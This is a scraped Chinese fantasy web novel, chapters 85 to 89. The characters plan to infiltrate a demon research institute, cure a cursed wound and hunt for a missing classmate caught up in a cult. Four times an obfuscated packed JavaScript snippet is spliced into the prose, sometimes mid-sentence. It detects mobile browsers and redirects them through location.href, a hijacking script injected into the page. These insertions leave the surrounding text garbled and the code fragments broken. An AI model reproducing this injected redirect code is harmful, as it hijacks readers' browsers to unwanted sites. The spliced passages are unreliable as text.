“你不仅有魔法天赋，而且很博学。”乌鸦半是感激半是怀疑地对阿加雷斯说道，“除了幻灵天生拥有破解诅咒的能力，其他种族必须经过刻苦学习和勤奋实践才能精确地掌握配制解药的方法。” “嗯……”阿加雷斯含糊其辞地说道，“我确实在学习上下了很多功夫。” 妮娜关了火，在煮茶的锅上盖好盖子：“再焖一会儿，我们可以趁这个时间段交换一下情报。刚才说到我们暂时要减少出门的次数——考虑到大家现在都各忙各的，我会用简讯的方式通知他们。但一直躲着也不是长久之计……” “得想想有没有能对付、或者说安全回避那些家伙的办法。”乌鸦又坐回了椅子上。 “恶魔研究所，你们应该听说过那个地方。”阿加雷斯说。 妮娜猜想他可能会提供一些重要的线索，“听说过，但不了解。” 乌鸦的表情有些微妙：“大多数魔族在刚出生的时候都会被送到那儿去，改造、观察、研究、‘早期教化’……没有实验价值的幸运儿才能活着离开那里。据说那才是实质上掌控着生命之树的组织。” 她停顿了一下，想到一件要紧的事情：“魔女就是从那里被制造出来的！” 阿加雷斯点点头：“我们今天遇上的那种魔女，说不定就是研究所的最新成果了。” 妮娜咬着下唇想了一会儿：“如果能够得到研究所的内部资料就好了，至少可以尝试从理论上寻找对付新型魔女的办法。” 她不确定和失去王权相比，贵族院研制出新型魔女这个可能性是不是更易于接受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212131|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌鸦的脸色有些苍白：“那是我这辈子都不想再去的地方。” 妮娜用没有受伤的手轻轻拍了拍她的肩膀，安抚了一下她肩颈处不受控制地冒出头来的羽毛。 108室的房门被打开了。 “如果有需要，我可以去。我了解里面的布局，也知道他们会在哪里存放最新的资料。” 说话的人是乌瑟。罗德里斯公寓的最后一间空房就是特意为他预留的，这一安排让乌鸦十分感激。 妮娜有些意外于他的自告奋勇，忍不住说了一句：“你一直在房间里偷听我们的谈话吗？” 出于某些并不众所周知的原因，妮娜曾嘱咐恶魔城加强过房间的隔音效果，如果不是刻意聆听，走廊上正常偏低音量的谈话是不容易被呆在房间里的人听清楚的。 乌瑟的脸色由苍白转为铁青。 可以感受到他极力控制住想要摔门回房的冲动，尽一切可能让自己表现得镇定自若。 “我听到了一些让人在意的字眼。”他说，“你们在走廊上谈话，显然是对谈话内容没有保密的打算。所以我就仔细听了一会儿。” 自在创业大赛中获得乌瑟的指导以来，妮娜一直对这位辅导员的古道热肠感怀在心，所谓的冷面热心，很明显就是用来形容他这种人的。 妮娜觉察到自己的“心直口快”让他感到困扰，因此露出了愧疚的表情，再想到乌瑟当年一定在那个听起来就十分可怕的恶魔研究所里经历了不少痛苦的事情，便觉得更加难过。 就连只是暂时成为预备实验体的乌鸦都不愿回忆那段往事，更不用说切身体会过一场混合实验的乌瑟·斯莱曼了。 “你不用顾虑我的感受，我可不是一个多愁善感的人。”乌瑟看出她在犹豫什么。 “乌瑟……”乌鸦小声地呼唤他的名字，“既然乌瑟都这么说了，我想我也可以帮上一些什么忙。” 这时候，街上隐隐传来一些声音，听起来锣鼓喧天，热闹非凡——普通的声音很难入侵这座坚实的堡垒。 “听起来好像有一支游行的队伍正在经过这里。”妮娜趁机岔开话题。 阿加雷斯看了一眼挂在墙上的日历：“明天是圣灵节，七贵族会在王城的七条主干道进行巡游，现在应该是彩排的时间。” “我都没注意到，居然已经是圣灵节了吗？”妮娜伸手拍了拍自己的额头。 乌鸦表现出毫无兴趣的样子：“不是每年都有吗？反正那些家伙永远不会在公众面前露脸，否则民众就会知道他们政府的最高领导者竟是七个不老不死的怪物。” 乌瑟想要斥止这个什么都往外说的妹妹，并丢给她一个眼神告诉她这里还有外人的在场，但在出声之前，他发现阿加雷斯完全没有对乌鸦的话表现出惊讶，就好像他从来便知道贵族院的那些秘密一样。 不仅如此，从刚才听到的那些讨论来看，他已经知道妮娜的身份——但乌瑟不确定那是不是妮娜私下里告诉他的。 他不禁担心这家伙会不会是贵族院派来的卧底。 86. 第 86 章 大概是注意到乌瑟那并不友善的眼神，阿加雷斯向108室门口的方向看了一眼，对那位不久前刚刚重获自由的男性魔女投去一个友好的微笑。 乌瑟不领情地移开了视线。 妮娜不知何时从橱柜里拿出四套杯具，分别往里面倒入了分量不等的红茶，然后从冰箱取出盒装的牛奶，将那些乳白色的液体加入到红得发黑的茶水中。 她先端了两杯奶茶上桌，而阿加雷斯替她端了另外两杯。 “这是茶比较浓的。”她将颜色特别深的那杯摆到乌鸦面前，“我不常做这个，不确定味道好不好，等佩吉买好东西回来之后，你可以挑一种甜味剂……” 看得出来，这是一位太没有架子的魔王了。乌瑟不知道这能不能算一件好事。 街上的吹拉弹唱声变得越来越鲜明，妮娜突然放下茶杯，向门的方向走去。她拉开门，探着脑袋往街上看去。 彩排的游行队伍正好从公寓前面的那条路经过，可以近距离地看到背着巨大的双面鼓、手上拿着魔杖似的鼓槌的礼乐队员，他们穿着红色的制服上衣和白色的裤子，肩上挂着绶带，头上戴着高高的礼帽，浑身散发着一种喜气洋洋的氛围。 不光是鼓手，其他的号手、笛手也是近似的状态。 被乐队簇拥着的是驾驶礼车的方队。车速很慢，看起来只有十几码，如果没有自动巡航功能的话，能一直稳定地保持这种龟速前进的状态也是对驾驶员的一种考验。 如果是正式巡游，那么车里就会坐着一名贵族院的成员，不过现在只是彩排，所以坐在后座的应该只是一位代理人。 礼车是黑色的，线条优美而不失霸道，在后视镜和门把手上装点了一些增加节日氛围的花束，总觉得削减了这辆代步工具原本的气质。 与这辆纯黑礼车相称的，则是在车子前面开路的两名魔女。 那是两名女性的魔女，和平时能见到的那些魔女一样，她们穿着从头黑到脚的服装，只是她们身上的衣服看起来要高级很多，面料经过精心挑选，尺寸也是精确测量过的。 她们脸色白得像刚刚砌好的墙面，形销骨立，但贴身且郑重的装束让她们看起来有了更多重量，不再给人风一吹就会被吹跑的印象。 这让妮娜第一次感受到也许每个魔女都是一名天生的模特，他们消瘦、纤长的体型就是能够完美复现服装设计细节的衣架子。 乌瑟和乌鸦不知何时也跟着来到门口，因为每个人的身高都不一样，所以他们可以挤在一个狭窄的缝隙前面窥伺外面的景象。 只有阿加雷斯气定神闲地坐在餐桌边上，没有过来凑这个热闹。 “我有一个大胆的计划。”在看着彩排的队伍逐渐远去的时候，妮娜突然开口。 * 赫尔马岱作为全国魔族人口比例最高的城市，在一般的平民心目中是一个无关紧要的地方，没有人想成为那儿的长期居民，没有人喜欢上那儿找工作，那也绝对不是一个适合旅游的城市。 但一些有权有势的人对它的看法则截然不同。 资源大亨会把它当成摇钱树，他们的资产价值有很大一部分要依托这里的矿产才能体现出来，这里还有很多免费的、有效率的劳动力，雇佣他们的人可以尽情地对他们进行压榨而不会受到法律的制裁。这是一个会让最刻薄的资本家也能变得笑容满面的地方。 这里有国家级研究中心恶魔研究所的根据地，这个研究所有着长达二百六十多年的历史，当人类还在用自己的大脑和手进行数学计算的时候，这里就已经开展了各种让人难以想象的魔族研究。 从最基础的身体数据测量，各种抗性实验，药物反应……到技术发展之后的基因检测、融合手术…… 此外，这座研究所还从第二次除魔运动之后开始承担初生魔族的驯化工作，对政府来说，这已然成为了一个维持国家运行不可或缺的部门。 赫尔马岱虽然有独立的市政厅，在第二次除魔运动开始之前，相关工作人员中魔族的比例达到了六成。这一隶属政府的组织主要负责维护城市秩序和记录并管理生命之树的状况。 在第二次除魔运动结束后，所有魔族工作人员都遭到了驱逐，这一部门的管理权限逐渐被移交给了研究所，只有负责资源和商务事宜的部门被单独拿了出来，目前仍在发挥职能，其他部门都已经完全被研究所蚕食，成为推进研究进程的便利工具。 研究所虽然是贵族院直辖的一个部署，但由于区位关系等各种原因，两者的对公往来并没有那么密切，贵族院给了研究所极大的自由，包括命令之外的研究的开展以及对生命之树的处置。 “你对研究所的组织架构有多少了解？” “我只能说一些我观察到的内容，行政权力在所内的体现非常薄弱，那儿的所有一切几乎都围绕各种研究展开，包括经费使用和人事变动。” “我可以理解为他们占有着大部分的城市权力，并让那些权力尽数服务于研究活动吗？也就是说，如果能够控制研究所，基本就等同于控制了大半个赫尔马岱？” “我不确定那种事情到底会不会发生，不过除了各种矿产资源之外，赫尔马岱的城市运行确实是处于研究所的控制之下的，问题在于，很难界定怎样的状况可以被称为‘控制了研究所’。” “你说过他们服从于贵族院的指令。” “指令只是规定了他们必须做的事情。除此之外，他们想做什么、要做什么都是自由的。” “也就是说，贵族院的指令确实能驱动他们去做些什么？” “我想应该是的。” “当你在那里的时候，研究所和贵族院之间是如何进行交流的？我认为贵族院应该会有直达研究所的传送阵，所以他们会进行面对面的传达吗？” “传送阵确实存在，但贵族们很少使用。大多数指令通过加密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13221559|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的专门网络传达，我想经过这么长时间的发展，这种加密网络应该更安全高效了，但偶尔也会有人专门过来——这种情况，通常是某位贵族有私人的研究需求。” “你认为还有什么值得注意的地方？” “首席研究员在研究所中具有很高的地位，如果不出意外，研究所的大多数工作都是由他决定的。从某种程度上来说，只要控制了首席，就相当于掌控了整个研究所。” “还有吗？” “暂时就这些。” “好的，我知道了。以你当时的艰难立场来说，能观察到这些已经很了不起了。” 妮娜结束了和乌瑟之间关于研究所的采访。 “你打算做什么？”坚持要在一边旁听的乌鸦好奇地开了口。 “还记得我们的计划吗——拿下赫尔马岱。必须要让生命之树处于我们的保护之下，光是占有一些矿产资源作用有限，生命之树，还有土地，那才是最重要的。”妮娜一边飞快地记录着访谈内容，一边回答道。 “这听起来很振奋，但是我觉得要从贵族院手中夺走一座重要城市是很难的事情。”乌鸦说。 岂止困难，简直是不可能。 “还记得人类当初是如何打败拥有至高魔力和绝对王权的魔王的吗？”妮娜搬出了这个曾经和老吸血鬼还有波诺分别谈论过的话题，“智取，或者说——‘欺骗’。” “你有更加好的衣服吗？就像刚才游街队伍里那两位魔女一样的。”她看向乌瑟。 “在我原来住的地方有一件，那是贵族院统一发放的制服，只有在从事一些礼仪类事务的时候才会穿戴。” “你原先住在哪里？方便回去拿一趟吗？” 乌瑟奇怪地看了她一眼，嗫嚅道：“不是很方便，但如果你一定要我那么做的话……” 一直沉默不语的阿加雷斯插话道：“我愿意代劳。我想这件事最好不要交给人类去做，但眼下魔族们不是要减少出门次数吗？我觉得我很适合执行任务，我能够单独解决一个魔力解放状态的魔女。” 乌鸦露出一个“他确实可以”的表情。 妮娜端详着阿加雷斯，“乌鸦说你赶跑了一个魔女，你用了魔法？对身体的负担大吗？” 阿加雷斯笑了一下：“我很好。我觉得已经不需要再为我的身体状况担心了。” “我和你一起去。”妮娜将笔记本翻到了空白的一页，将它连着签字笔一起递向乌瑟，“给我一个地址，然后做好执行任务的准备。” 这时候，出门采购的佩吉终于回来了。 “游行的队伍让我多花了很多时间才挤到便利店，希望我没有漏掉什么。” 阿加雷斯从她手中接过塑料袋，看了一眼：“非常齐全，感谢你的帮助。” “这没什么。”佩吉说。 阿加雷斯拎着袋子在妮娜身边坐了下来：“出门之前先把伤口处理好。” 87. 第 87 章 各种分泌出诱人气息的甜味剂被以精确的比例混合起来，其中还加入了一些除了施法者本人之外无人能够理解的魔法。 坩埚中的粘稠液体从以蜂蜜为主体的琥珀色逐渐淡化，先变成透明的浅金色，接着趋于无色。 在经过一段时间的调制和加热后，最终又恢复成为蜂蜜的颜色。 目睹了全过程的观众们都知道，坩埚里的液体现在只是看起来像蜂蜜罢了，实际上它已经完全变成了另一种物质。 一种针对诅咒的魔法药剂。 “我以前没觉得这是一件有趣的事情，但是现在我后悔上学的时候没有修一门药剂课程了。”佩吉满眼欣赏地望着正在进行精密操作的夜骑先生，“不过我想现在开始学也不算晚。如果你不介意，我想拜你为师，我想你应该不受保密协议的约束？” 所有具备实际功能的魔法知识都受到严格的管理，每个选择魔法相关专业的学生在确认专业的时候都会签署终身保密的协议。 这份施加了“合同魔法”的协议将确保学生们不会将自己在学校得到的魔法知识泄漏给任何人，因为一旦有人做出违背协议的举动，就会遭到魔法的反噬。 魔法知识在这个社会上是不流通的，其中自然也包括魔法药剂的部分。 不过阿加雷斯这位年轻过头的魔族肯定不是从学校习得药剂技能的，那些保密协议自然也就和他无关了。 阿加雷斯看了妮娜一眼，好像在征求她的意见。 而妮娜没有接到他的视线，自顾自地陷入了思考。 统治阶层给魔法知识筑起的壁垒曾经让她深恶痛绝，一个人如果没有在上大学的时候选择相关专业，那他基本上今生今世就与魔法再无缘分。 于公于私，她都希望这种局面能够得到改变。 魔法是源于魔界的力量，人类无法发挥它全部的效用，却还固执地将它当成私产，一分一毛都不肯出让给它真正的主人。 “这提醒了我，有可能的话，我想在赫尔马岱的学堂里也加入与魔法相关的课程。阿加雷斯，尽管我不知道你从哪里学来的药剂知识，如果你没有签署过什么保密协议的话，我倒是希望你能将它们分享出来——前提是你愿意。” 佩吉眼中的期待感更加强烈了。 阿加雷斯苦笑着点了点头：“我可不是一个小气的人，我很乐意把知识散播到有需要的地方。” 他将坩埚中的粘稠液体转移到了一根在管壁上用刻写笔画了魔法阵的试管里。 在液面没过魔法阵顶部的瞬间，一团烟圈从试管里喷了出来。 “完成了？” “完成了。”阿加雷斯用棉签蘸取了那如同蜂蜜一般的药浆，在有液体滴落之前迅速地移到患者的手臂上方。 他让妮娜折起手臂，将伤口竖起在他面前，然后用棉签在伤口附近的皮肤上涂抹起来。 棉签和药物没有和伤口发生触碰，但妮娜能感觉到伤口附近产生了灼烧的感觉，不是很舒服，但也没到难以忍受的地步。 她侧过头，看了一眼自己的手臂外侧，发现阿加雷斯正以伤口为中心，确切地说是以伤口为直径画出了另一个魔法阵。 “真是够复杂的。” 她还以为只要把那些材料以某种固定的比例混合到一起，再在伤口上进行涂抹就行了。 “诅咒是一种非常麻烦的魔法。外行人其实也能轻而易举地获得诅咒的能力，但想要去除却需要掌握非常精密的技巧。”阿加雷斯解释道，“不过也无法说这有什么不对等的，下咒者虽然可以便捷地释放诅咒，但也一定会为此付出相应的代价。在过去有很多人把诅咒当成方便的谋杀工具，却不知道其运行的原理，最后伤敌一千，自损一千。” “可是我不觉得那个魔女有意释放诅咒，这更像是他的攻击所附带的一种负面效果。” “我有一个猜测。” “什么？” “诅咒是刻意添加的被动效果，为的是有效提高魔女的杀伤能力，施放诅咒会消耗魔女的生命力，由于是被动技能，所以他自己也无法控制。对于他的制造者来说，魔女不过是一件工具，一件消耗品。” “糟糕透顶。”佩吉不知何时将脸皱成了一团。 乌瑟若有所思地看向门口的方向，尽管那儿什么也没有。 空气中传来啪叽啪叽和滋啦滋啦的微响。 众人的目光都集中到了一处。 琥珀色的粘液像是被赋予了生命，在妮娜·斯特尔那条因为缺乏日晒而显得不大健康的手臂上挪动起来，那些声音就是它们在运动的过程中发出的。 妮娜感到痛觉传感器似乎突然恢复了运作，伤口传来应有的疼痛，与此同时，有什么东西在她的血管之中奔走，她紧张地看着手臂上正在渗出血液的地方。 噗叽。 一条黑色的、看不出任何器官和构造的蠕虫一般的东西从伤口钻了出来，而就在它探出脑袋的瞬间，伺伏在一旁、形成包围圈的琥珀色粘液便对它发起围剿，像一条具有食蛇特性的王蛇一样将它一口吞了下去。 “痛……” 黑虫消失的瞬间，疼痛一下子变得鲜明起来，妮娜龇牙咧嘴地回味着刚才的景象，觉得又恶心又新奇。 阿加雷斯小心翼翼地冲着伤口吹了吹。痛感随即被消减了不少。 “这也是你的魔法吗？”妮娜好奇地问道。 “是啊，还有咒语呢。”阿加雷斯像个孩子一样笑了起来，“呼呼吹吹，痛痛飞飞。” 乌鸦摸不着头脑地看着这一幕，乌瑟的表情莫名显出几分柔和，佩吉道出真相：“什么咒语啊，就是大人哄小孩子的话嘛，你们小时候都没有听到过吗？” 妮娜歪着脑袋思索起来，她觉得以前似乎确实有人用这样的话来哄过她。 但无论怎么想，那个人都只可能是萨利。 这的确像是一个母亲会对孩子做的事，可放在萨利身上又让人感到说不出的怪异。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233700|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >或许曾经萨利真的那样温柔亲切地关爱过她，只是那些记忆太过遥远，导致无法在脑海中呈现出像样的画面。 “格兰德……”她无意识地说出了一个名字。 阿加雷斯猛地抬起头：“怎么了？” 妮娜将手收了回来，阿加雷斯却阻止了她，脸色变了又变，似乎想假装刚才无意义的简短对话从未发生。 他一只手握着她的手腕，另一只手将那些不知何时凝固了的粘液从她手臂上揭了下来，放进坩埚里。 可以看见，蜂蜜色的物质在加热的过程中再次变为液态，但始终紧紧包裹着中间那一缕黑色的诅咒。 “这是在毁尸灭迹吗？”乌鸦问。 阿加雷斯灭了酒精灯，解释道：“等它再次凝固之后，就会变成一块‘琥珀’了。” “噢！”佩吉说，“出个价钱吧，我想让它成为我的藏品。” 阿加雷斯再次向妮娜征求意见，而后者很快就点头肯定。 等到在众人的围观下完成伤口的处理时，街上的游行热潮也已经完全散去，还有事情要忙的房客们也重新投入到了各自的工作中。 “这是什么？”妮娜清点了一下塑料袋里多余的材料，发现里面还躺着一张传单。 佩吉看了一眼：“噢，这是刚才在路上有人硬塞给我的。他看起来想要对我传教，我才不想理他呢，就加快了脚步，想要赶紧离开，结果他一看准时机，就把这玩意儿仍进来了。” 妮娜快速将传单上的内容阅览了一遍：“不知道会不会显得失礼，但这……看上去像是邪教。有人竟敢公然在街上发这东西的传单，而且是在游行彩排日？” “大概就是看上了这种日子鱼龙混杂？”佩吉说。 “而且你打扮得就像一个为生活所困的可怜女人，特别容易被他们盯上。”乌鸦插了一句。 佩吉绝不是一个手头拮据的人，但她的穿着确实有流浪者的风采。 “真是的，把我当什么人了！”她不满地嘟囔了一句，“不过我也确实听说过，不少人就是因为在生活中看不到希望，才会把这种可疑的东西当成精神寄托。” “话说回来，就算是这种为社会所不容的东西，也都会给自己打广告了呢。”阿加雷斯一边收拾桌上的道具，一边吐槽道。 佩吉灵光一闪：“楼上不是在经营社交媒体的业务吗，可不可以用来给赫尔马岱的学校做一些宣传？就算学校目前没有对外招生的需求，但这样可以扩大罗德里斯公寓的社会影响力，不觉得很棒吗？” 负责相关工作的成员们立刻被召集了起来。 “确实是一个好主意，就人类社会对教育的重视程度来看，进行这方面的宣传一定会增加项目的正面印象，不过要做成怎样的内容呢？”莉莉单手支着脑袋，已经开始了具体的思考。 薇薇安本着入行初期的探究精神：“我们可以先寻找一些成功的案例。” 这个提议得到了传媒工作者的集体同意。 88. 第 88 章 众人围在电脑面前，开始寻找可以作为分析范本的作品。 拉弗尔熟练地在近期的热门视频中找到了可以用来参考的几个或明或暗的宣传视频，并逐一播放起来。 “我觉得这种氛围轻松的采访类节目就不错，比起自卖自夸，从外部发表的观点似乎更有说服力呢。” “不过这些都是事先给了受访者台本的吧？” “也有可能是采访了很多人，但做成节目时只选取了说好话的那些。” “靠剪辑还可以断章取义，会不会让观众觉得很假？” “让预设好的结果看起来自然，这正是需要下功夫的地方嘛。” 这时候，屏幕上的画面主体变成了一个面色有些憔悴的年轻男性。 妮娜轻轻“嗯？”了一声。 总觉得那张脸有点眼熟。 画面上的弹幕突然变得非常密集，几乎遮蔽了视频的正式内容，只能听到一个正经到让人觉得乏味的声音从扬声器中缓缓淌出来。 “对未来有什么展望吗？嗯……我的父亲和母亲都是地质工程学者，年轻的时候为国家做了很多贡献，希望国家能够让他们安度晚年吧。我知道最近国家财政可能出现了一些问题，但还是希望祂能善待曾经为祂奉献青春和汗水的人们。” [少年你的画风和别人不一样。] [第三世纪的头号大孝子不是你我不服气。] [大家别这么急着给人发高帽，我怀疑他说这话是打算啃老，希望啃老生活能有保障罢了。] [救命好有道理。] [阴谋论的够了啊，怎么就不相信人间有真情呢？想让父母安度晚年都有错了？] [年轻人你努力赚钱，你爸妈就能安度晚年了，别把责任全部推给国家推给社会。社会说我可受不起。] [站着说话不腰疼的就别说了，谁不知道现在挣钱难啊？这个人能把父母放在自己的未来展望里，我觉得很了不起了。] “看来这段采访才是整个视频的流量来源呢。”文森特说，“我在其他平台上已经看到过好几个剪辑版了，传播得很广。” “也就是说——要在视频里面不经意地放一点能够引起争议的内容啰？”薇薇安问，“而且这里出现的氛围上的反差很喜感，这也是走红的原因之一吧？” “理论上是这样没错，但‘不经意’的度很难把握吧？如果争议点选得不好，到最后反而会给自己招黑。而且‘氛围’这种东西，怎么说都太微妙了。我们的立场本来就比较弱，还是不要走风险太大的路子。”拉弗尔说。 “妮娜，你觉得呢？”莉莉问道。 被点到名的女大学生皱着眉，关掉弹幕，又把刚才的那段内容看了一遍，说道：“你们有没有觉得，他的语气听起来有点像在嘱托后事？” 要问她为什么会产生这种感觉，因为她就是曾经接受嘱托的那个人。 从采访的前因后果和前言后语来看，只会觉得这段突兀的对白颇有喜剧效果，很难觉察到不对劲的地方。但那种氛围果然很让人在意。 “后事？”魅魔们对她的这种说法感到吃惊，“为什么这么说？” “就算他是一个很孝顺的人好了，为什么要在这种场合说这种话？虽然从采访问题来看，这样回答好像也没有什么不妥，但实际上就是很奇怪啊。”妮娜有些烦躁地抓了一把头发，她没法准确地把内心的感受表述出来。 佩吉凑了上来，突然睁大眼睛，指着受访者后方一个神情诡异的人：“哇，这家伙和刚才塞我传单的人长得好像哦。我是说眼神，还有打扮。” 妮娜灵光一闪，当机立断：“这个人可能遇上事了，我们最好马上找到他。” “难、难道说真的是邪教？”佩吉惊讶地张了张嘴。 文森特看着被房东占据的鼠标：“确认一下状况也好，可是我们要怎么找他？去联系视频的发布者吗？” 视频上传时间是十四个小时之前，如果受访者真的遇上了什么大事，目前或许还有一线生机，但时间一定也已经不多了，通过视频发布者去找人，效率未免太低。 “我认识这个人，是魔法部的前辈，虽然没有直接见过面，不过在留念册上看到过他的照片。”妮娜说，“他是魔法学院的学生，对魔法部的早期发展帮助很大。” 佩吉啊了一声，说道：“刚才那个传单上，确实有写关于魔法之类的东西，还有一些神秘学的理论，他说不定真的是被这些东西骗进去的。” 乌鸦忿忿不平地叫了起来：“我可不能容忍有这种打着魔法的噱头做坏事的家伙！就是因为这种人存在在这个世上，魔族才会变得越来越悲惨的！” “正是因为这样，才更要把事情处理好，否则最终受损的肯定还是魔族的形象。”妮娜斩钉截铁地说道。 她的双手在键盘上飞快地敲打，行云流水地进入学校的教务管理系统，借“邀请毕业生分享就职经验”的名义，要到了那位前辈的部分信息。 打电话到前辈就职的公司，被告知对方从九个月前就开始无故缺勤，已经被公司通过正规的流程给开除了。这一情报让调查者更加确定对方可能正深陷泥潭。 妮娜打算带着佩吉先去一趟前辈留在学校信息库中的地址，如果能在那里找到本人是最好不过，可以在充分了解情况之后对其进行保护，如果不能确定对方的下落，至少找到几件带有其气味的物品，再藉由乌鸦和古斯塔夫的嗅觉在城市各处进行搜寻…… 抵达前辈的住处时，她发现那间单身公寓看起来已经很久没有住过人了，证据是门把上积着一层已经有些黏糊糊的灰。 佩吉用自制的魔法媒介完成了开锁的任务，并和房东在一番商量之后，取走了枕套作为提取气味的物件。 “哦，这儿终于租出去了吗？”当两人准备离开的时候，住在对门的年轻女性也正要出门，还主动和她们打了个招呼。 妮娜和佩吉不约而同地露出尴尬而不失礼貌的笑容。 “我一直想介绍刚刚来王都找工作的姐妹住到这儿来呢，房租便宜，交通方便，对面就是朋友， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254125|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们不觉得相当理想吗？可惜问了好几个中介，他们都没有这套房子的信息，你们是从什么渠道联系到房东的？”女性好奇地问道。 “他被绑架了。” “他去外地了。” 佩吉和妮娜同时说道。 这让对门住户眼中的疑惑变得更深了。 “这套房子是业主自己在住的，不过他前段时间出了点事，所以一直没能回来，我们受到委托，帮忙来确认一下房子的状况。”妮娜说。 “原来是这样……”对门住户勉强接受了这个说法，但还是狐疑地看着陌生人手中的枕套，似乎想确认她们没有盗窃值钱的物品，“这儿空了将近一年呢，如果租出去的话，也是一笔不小的收入，他也许相当富有吧，不稀罕这个钱。” 回到公寓，妮娜简述了一下情况，打算和乌鸦一块去寻找失踪前辈的下落，佩吉主动请缨，愿意替房东出马。 “你对这件事倒是意外热忱嘛。”妮娜有些意外。 佩吉笑了笑：“其实在你向教务处要信息的时候，我突然想起来那家伙是我的同学。斯莱利·克里斯通，没错，我在魔法学院的同班同学。也是一种缘分，不是吗？” “我和谁一块都无所谓，不过最好快点，说不定能在天黑前找到那个……斯莱利，克里斯通？”乌鸦单手叉腰地说道。 “我去准备一些可能会用得上的媒介，很快就好。”佩吉说。 佩吉主动负责寻找斯莱利的下落，这对妮娜来说也的确是好事一桩，因为她下午有其他计划，也就是和阿加雷斯去取乌瑟的魔女制服。 她用地图软件搜索了前往乌瑟曾经住处的路线，背着一只能够装下一套礼服的挎包，招呼同伴出门。 彼时天色已经呈现出将暗未暗的趋势。立在暗处的几盏路灯已经提前开始一天的工作。 乌瑟因为身份特殊，没有获得申请教职员宿舍的权利，原本住在位于恩斯法内大学背面的一个居民区里，里面的业主和租户基本上不是大学职员就是大学学生，环境说不上温馨，但至少还算和谐。 在经过大学后门的时候，妮娜看见了在那里巡逻的魔女，正盘算着要从哪个方向绕开，阿加雷斯就展开了斗篷，将她兜了进来，然后正大光明地从魔女身边经过。 妮娜看到斗篷的内层刻写着一个复杂的魔法术式，简直像是一套公式推导过程。 “你在这件斗篷上加入了隐身的魔法？也就是说，这是一件魔法道具？”她问。 “这是降低存在感的魔法，听上去好像没有隐身那么厉害，但事实上可要比隐身复杂多了。”阿加雷斯说。 “我可以想象。隐身是作用于自己的魔法，而降低存在感的魔法影响的却是别人的感觉器官，所以后者的难度更高。” “真聪明。” “……真不敢相信你只有二十七岁……在你的种群中，你还算个孩子，却已经学会哄小孩的那一套了。” “毕竟我是在人类社会中长大的，一个二十七岁的成年人难道不能这样说话吗？” 89. 第 89 章 两人已经离开了巡逻魔女的探知范围，妮娜从斗篷里钻了出来。 她拿出随身携带的笔记本，确认了一下乌瑟给她的单元号，好不容易在如同树林一般密集的建筑群中找到了目标。 “那是什么……” 还没有走近，她就感受到一种不同寻常的诡异氛围。 那栋灰色建筑物的外墙上布满了用红色、黑色还有各种难以形容的颜色勾勒和填充的涂鸦。尽管那只是一种作用于视觉的艺术形式，却传达出一种强烈的憎恶情感。 “我将复仇。” 让人目眩的图案之中，一个字体夸张的短句令人瞩目。 妮娜将它念出来的时候，才发现那些文字是用魔族的古文字书写的。 “阿加雷斯，你还好吗？” 夜骑在看到那面墙的时候，表现出了明显的异样。 因为和他挨得很近，所以妮娜立刻就觉察到他身体一僵，而等她抬起头去看他的脸时，又被他细微震颤着的瞳孔吓了一跳。 “过去坐一下。”妮娜拉住他的手臂，打算先带他到设置在绿化带附近的一张长椅上缓缓神。 她想他一定是被墙体上的画面刺激到了。他本来就是一个在精神方面十分脆弱的人，会产生这种症状算不得太过奇怪。 据说有一种叫做“冷翡翠综合征”的病症，是观赏者在艺术品面前受到强烈刺激所引发的身心疾病，在生理层面会出现心跳加快、头昏眼花的反应，在精神层面则有可能导致程度不一的幻觉。 姑且不说那面墙上的涂鸦能不能被归入艺术品的行列，它确实能给观看者的感官带来一定程度的刺激。只是没想到这种刺激在阿加雷斯身上会表现得如此强烈。 他也看懂了那些古文字吗？ 在他出生成长的年代里，魔族古文字已经不再被允许传播和学习，但考虑到他学识渊博，或许在什么地方得到了某种学习的契机也说不定。 阿加雷斯像是一根立柱似的钉在地上，没有挪动半步。 妮娜做了一个深呼吸，对他命令道：“去坐下。” 可他依然没有反应。 妮娜没有进行第三次尝试。她在担心之余陷入了思考。 她曾经在十二楼高的半空向乌瑟发出救命的指令，于是那位被附加了约束魔法的魔女突破了禁制，使用出瞬间移动的技能。 